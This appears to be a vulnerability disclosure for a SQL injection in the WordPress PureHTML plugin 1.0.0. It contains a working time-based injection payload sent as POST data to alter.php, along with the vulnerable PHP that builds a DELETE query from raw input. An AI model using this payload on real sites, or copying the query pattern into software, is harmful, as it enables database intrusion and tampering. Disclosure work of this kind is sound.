WordPress Plugin PureHTML 1.0.0 - SQL Injection

# Exploit Title: WordPress PureHTML plugin <= 1.0.0 SQL Injection Vulnerability
# Date: 2011-08-31
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/pure-html.1.0.0.zip
# Version: 1.0.0 (tested)
# Note: magic_quotes has to be turned off

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PoC (POST data)
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http://www.site.com/wp-content/plugins/pure-html/alter.php
 PureHTMLNOnce=1&action=delete&id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

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Vulnerable code
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if(!isset($_POST['PureHTMLNOnce'])){
    if ( !wp_verify_nonce( $_POST['PureHTMLNOnce'], plugin_basename(__FILE__) )) {header("location:".$refer);}
}
else{
    ...
    if(isset($_POST['id'])){$id = $_POST['id'];}else{$id='0';}
    ...
    $action = $_POST['action'];
    
    #delete
    if($action == "delete"){
        $sql = "delete from ".$wpdb->prefix."pureHTML_functions WHERE id='".$id."'";
        $wpdb->query($wpdb->prepare($sql)); //misusage of $wpdb->prepare() :)